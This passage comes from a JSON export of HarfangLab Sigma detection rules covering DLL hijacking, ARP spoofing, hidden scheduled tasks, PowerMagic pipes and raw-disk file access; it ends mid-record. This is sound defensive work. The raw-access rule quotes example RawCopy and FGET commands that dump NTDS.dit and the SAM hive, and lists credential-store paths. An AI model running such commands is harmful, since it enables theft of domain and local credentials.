+  "content": "title: DLL Hijacking via perfmon.exe\nid: aa991822-87ec-4f97-961a-58f1bbd3db81\ndescription: |\n    Detects potential Windows DLL Hijacking via perfmon.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'perfmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ATL.DLL'\n            - '\\credui.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aa991822-87ec-4f97-961a-58f1bbd3db81",
+  "rule_name": "DLL Hijacking via perfmon.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via perfmon.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aaab50b4-5994-431b-85e4-0c007a681a95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598828Z",
+  "creation_date": "2026-03-23T11:45:34.598831Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598839Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://en.wikipedia.org/wiki/ARP_spoofing",
+    "https://attack.mitre.org/techniques/T1557/002/",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1040_arpspoof.yml",
+  "content": "title: MITM ARP Spoofing via arpspoof\nid: aaab50b4-5994-431b-85e4-0c007a681a95\ndescription: |\n    Detects a command-line related to the execution of arpspoof, a command-line utility for conducting ARP Spoofing.\n    ARP Spoofing is a technique used by attackers to disguise as a particular host to other nodes on a network, redirecting any traffic meant for the spoofed host to the attacker.\n    It is recommended to investigate any potentially malicious actions preceding the usage of arpspoof.\nreferences:\n    - https://en.wikipedia.org/wiki/ARP_spoofing\n    - https://attack.mitre.org/techniques/T1557/002/\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2024/04/16\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1557.002\n    - attack.discovery\n    - attack.t1040\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.HackTool.Arpspoof\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/arpspoof'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aaab50b4-5994-431b-85e4-0c007a681a95",
+  "rule_name": "MITM ARP Spoofing via arpspoof",
+  "rule_description": "Detects a command-line related to the execution of arpspoof, a command-line utility for conducting ARP Spoofing.\nARP Spoofing is a technique used by attackers to disguise as a particular host to other nodes on a network, redirecting any traffic meant for the spoofed host to the attacker.\nIt is recommended to investigate any potentially malicious actions preceding the usage of arpspoof.\n",
+  "rule_creation_date": "2024-04-16",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040",
+    "attack.t1557.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aad46f4b-8e71-412f-bea5-fa2d12a23f66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623108Z",
+  "creation_date": "2026-03-23T11:45:34.623111Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623115Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_suspicious_hidden_scheduled_task.yml",
+  "content": "title: Suspicious Hidden Scheduled Task Created\nid: aad46f4b-8e71-412f-bea5-fa2d12a23f66\ndescription: |\n    Detects the creation of a hidden scheduled task by a suspicious process.\n    This technique is commonly used by attackers to hide the presence of a scheduled task.\n    It is recommended to investigate the source of the scheduled task creation and review the task content and command-line for malicious activity.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/11/07\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.lateral_movement\n    - attack.t1053.005\n    - classification.Windows.Source.ScheduledTask\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: scheduled_task\ndetection:\n    selection:\n        OperationType: 'create'\n        TaskHidden: 'true'\n        ProcessImage|contains: '?'\n\n    filter_signed:\n        ProcessSigned: 'true'\n\n    filter_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    filter_legitimate_target:\n        TaskCommands|contains:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_pdf_creator:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\is-*.tmp\\pdf*_creator_update.tmp'\n\n    exclusion_genericupdater:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\bin\\updater.exe'\n        TaskName|startswith: '\\\\*User\\\\*Updater\\\\*UpdaterTaskUser'\n\n    exclusion_viota:\n        ProcessImage|endswith: '\\Viota Database Update Tool\\ViotaDatabaseUpdateTool*.exe'\n        TaskName: '\\\\*Viota Database Update Tool_ViotaDatabaseUpdateTool*.exe'\n\n    exclusion_fresenius_kabi:\n        ProcessImage|endswith: '\\Vigilant Master Med Device Uploader.exe'\n        TaskName: '\\\\{????????-????-????-????-????????????}'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aad46f4b-8e71-412f-bea5-fa2d12a23f66",
+  "rule_name": "Suspicious Hidden Scheduled Task Created",
+  "rule_description": "Detects the creation of a hidden scheduled task by a suspicious process.\nThis technique is commonly used by attackers to hide the presence of a scheduled task.\nIt is recommended to investigate the source of the scheduled task creation and review the task content and command-line for malicious activity.\n",
+  "rule_creation_date": "2025-11-07",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aaed74be-3771-4ce8-82e7-f04d9c90c5f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080827Z",
+  "creation_date": "2026-03-23T11:45:34.080829Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080833Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_mdmagent.yml",
+  "content": "title: DLL Hijacking via MDMAgent.exe\nid: aaed74be-3771-4ce8-82e7-f04d9c90c5f3\ndescription: |\n    Detects potential Windows DLL Hijacking via MDMAgent.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MDMAgent'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dmenrollengine.dll'\n            - '\\msvcp110_win.dll'\n            - '\\omadmapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aaed74be-3771-4ce8-82e7-f04d9c90c5f3",
+  "rule_name": "DLL Hijacking via MDMAgent.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via MDMAgent.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aaf113bc-6b63-46d3-919a-9b2a105bcd5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071165Z",
+  "creation_date": "2026-03-23T11:45:34.071167Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071171Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/jschicht/RawCopy",
+    "http://blog.opensecurityresearch.com/2011/10/how-to-acquire-locked-files-from.html",
+    "https://attack.mitre.org/techniques/T1006/",
+    "https://attack.mitre.org/techniques/T1003/002/",
+    "https://attack.mitre.org/techniques/T1003/003/"
+  ],
+  "name": "t1006_raw_access_sensitive_files.yml",
+  "content": "title: Sensitive Files Accessed via Raw Device Access\nid: aaf113bc-6b63-46d3-919a-9b2a105bcd5f\ndescription: |\n    Detects the access to sensitive files via raw disk access through tools like RawCopy or FGET.\n    Attackers can dump sensitive files via raw disk access to evade detection mechanisms or to bypass locked files.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://github.com/jschicht/RawCopy\n    - http://blog.opensecurityresearch.com/2011/10/how-to-acquire-locked-files-from.html\n    - https://attack.mitre.org/techniques/T1006/\n    - https://attack.mitre.org/techniques/T1003/002/\n    - https://attack.mitre.org/techniques/T1003/003/\ndate: 2022/10/19\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1006\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.t1003.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.RawCopy\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # RawCopy.exe /FileNamePath:C:\\Windows\\NTDS\\ntds.dit /OutputPath:C:\\Windows\\Temp\\ntds.dit\n    selection_rawcopy:\n        LegalCopyright: 'Joakim Schicht'\n        Description: 'Copy files from NTFS volumes by using low level disk access'\n        CommandLine|contains: 'FileNamePath'\n\n    # FGET.exe -extract C:\\Windows\\System32\\config\\SAM C:\\Windows\\Temp\\out.sam\n    selection_fget:\n        # Signed by HBGary, Inc\n        # The certificate was explicitly revoked by its issuer\n        Imphash: '72B17395940FD0266D2CBBF8EB32CF3C'\n        CommandLine|contains: 'extract'\n\n    sensitive_files:\n        CommandLine|contains:\n            - '\\Windows\\NTDS\\NTDS.dit'\n            - '\\Windows\\System32\\config\\SAM'\n            - '\\Windows\\System32\\config\\SECURITY'\n            - '\\Windows\\System32\\config\\SYSTEM'\n\n    condition: 1 of selection_* and sensitive_files\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aaf113bc-6b63-46d3-919a-9b2a105bcd5f",
+  "rule_name": "Sensitive Files Accessed via Raw Device Access",
+  "rule_description": "Detects the access to sensitive files via raw disk access through tools like RawCopy or FGET.\nAttackers can dump sensitive files via raw disk access to evade detection mechanisms or to bypass locked files.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-10-19",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ab33962d-497b-42af-9f9a-0096d48d2791",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606726Z",
+  "creation_date": "2026-03-23T11:45:34.606729Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606737Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/bad-magic-apt/109087/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1559_powermagic_named_pipes_created.yml",
+  "content": "title: PowerMagic Malware Named Pipes Created\nid: ab33962d-497b-42af-9f9a-0096d48d2791\ndescription: |\n    Detects the creation of a Named Pipe pertaining to the PowerMagic malware.\n    PowerMagic is a Russian-developed espionage malware, that uses named pipes to communicate locally between its different components.\n    Adversaries can use named pipes to allow different malware components to communicate with each other as well as to communicate with other infected hosts through the network via SMB.\n    It is recommended to analyze actions taken by the process creating the named pipe and isolate infected systems if necessary.\nreferences:\n    - https://securelist.com/bad-magic-apt/109087/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2023/03/24\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1559\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Malware.PowerMagic\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName:\n            - '\\PipeMd'\n            - '\\PipeCrDtMd'\n            - '\\PipeDtMd'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ab33962d-497b-42af-9f9a-0096d48d2791",
+  "rule_name": "PowerMagic Malware Named Pipes Created",
+  "rule_description": "Detects the creation of a Named Pipe pertaining to the PowerMagic malware.\nPowerMagic is a Russian-developed espionage malware, that uses named pipes to communicate locally between its different components.\nAdversaries can use named pipes to allow different malware components to communicate with each other as well as to communicate with other infected hosts through the network via SMB.\nIt is recommended to analyze actions taken by the process creating the named pipe and isolate infected systems if necessary.\n",
+  "rule_creation_date": "2023-03-24",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ab699571-31ab-4f50-b1cf-ec688a7ffea1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586522Z",
+  "creation_date": "2026-03-23T11:45:34.586526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586534Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dxpserver.yml",
+  "content": "title: DLL Hijacking via dxpserver.exe\nid: ab699571-31ab-4f50-b1cf-ec688a7ffea1\ndescription: |\n    Detects potential Windows DLL Hijacking via dxpserver.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dxpserver.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dwmapi.dll'\n            - '\\msi.dll'\n            - '\\PROPSYS.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ab699571-31ab-4f50-b1cf-ec688a7ffea1",
+  "rule_name": "DLL Hijacking via dxpserver.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dxpserver.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ab743be0-3d7d-4e52-9134-5b3fc6ca87f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624624Z",
+  "creation_date": "2026-03-23T11:45:34.624626Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624630Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
+    "https://attack.mitre.org/techniques/T1562/002/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1562_002_autologger_sessions_disabled.yml",
+  "content": "title: AutoLogger Session Disabled\nid: ab743be0-3d7d-4e52-9134-5b3fc6ca87f8\ndescription: |\n    Detects Windows Event sources such as EventLog and Defender being disabled via registry.\n    Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits.\n    It is recommended to investigate the process responsible for the registry modification to determine its legitimacy and to analyze possible malicious actions following this alert.\nreferences:\n    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/\n    - https://attack.mitre.org/techniques/T1562/002/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2024/09/06\nmodified: 2025/12/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.002\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - 